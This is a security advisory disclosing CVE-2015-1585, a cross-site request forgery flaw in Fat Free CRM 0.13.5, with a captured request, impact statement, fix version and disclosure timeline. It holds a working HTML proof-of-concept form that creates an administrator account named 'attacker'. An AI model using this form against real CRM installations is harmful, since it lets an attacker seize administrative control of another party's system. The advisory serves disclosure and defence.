[CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5
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Product Information:
Software: Fat Free CRM
Tested Version: 0.13.5, released 22.1.2015 with over 10.000 downloads
Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)
Download link: https://rubygems.org/gems/fat_free_crm/versions/0.13.5
Description: An open source, Ruby on Rails customer relationship management platform (CRM). Out of the box it features group collaboration, campaign and lead management, contact lists, and opportunity tracking (copied from https://github.com/fatfreecrm/fat_free_crm)
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Vulnerability description:
When an authenticated administrative user of Fat Free CRM is creating another user account, the following POST request is sent to the server:
POST /admin/users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: */*;q=0.5, text/javascript, application/javascript, application/ecmascript, application/x-ecmascript
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: oxZgwOAtzNdFJU85jPqmI+g893lQaOy6ctCCzef42qI=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:3000/admin
Content-Length: 356
Cookie: _session_id=$foo1; user_credentials=$foo2
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
utf8=%E2%9C%93&authenticity_token=oxZgwOAtzNdFJU85jPqmI%2Bg893lQaOy6ctCCzef42qI%3D&user%5Busername%5D=admin1&user%5Bemail%5D=test1%40test.de&user%5Bpassword%5D=1&user%5Bpassword_confirmation%5D=1&user%5Badmin%5D=0&user%5Badmin%5D=1&user%5Bfirst_name%5D=&user%5Blast_name%5D=&user%5Btitle%5D=&user%5Bcompany%5D=&user%5Bgroup_ids%5D%5B%5D=&commit=Create+User
As can be seen, the application is already using a CSRF token in the parameter authenticity_token, that has got a sufficient entropy. Nevertheless, this parameter is optional and not mandatory when creating a user. When executing the following Proof-of-Concept, a new administrative user called "attacker" will be created with the password 1234.
<html>
<body>
<form action="http://127.0.0.1:3000/admin/users" method="POST">
<input type="hidden" name="utf8" value="�œ“" />
<input type="hidden" name="user[username]" value="attacker" />
<input type="hidden" name="user[email]" value="test@test.org" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="user[admin]" value="1" />
<input type="hidden" name="commit" value="Create User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Impact:
Every state changing operation within Fat Free CRM is using the parameter authenticity_token in order to prevent CSRF attacks. Nevertheless, all operations can be triggered by a CSRF attack, as this parameter is always optional and not needed.
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Solution:
Update to the latest version, which is 0.13.6, see https://rubygems.org/gems/fat_free_crm/versions/0.13.6
See also https://github.com/fatfreecrm/fat_free_crm/wiki/CSRF-Vulnerability-%28CVE-2015-1585%29
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Timeline:
Vulnerability found: 11.2.2015
Vendor informed: 11.2.2015
Response by vendor: 12.2.2015
Fix by vendor 12.2.2015
Public Advisory: 14.2.2015
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Best regards,
Sven Schleier
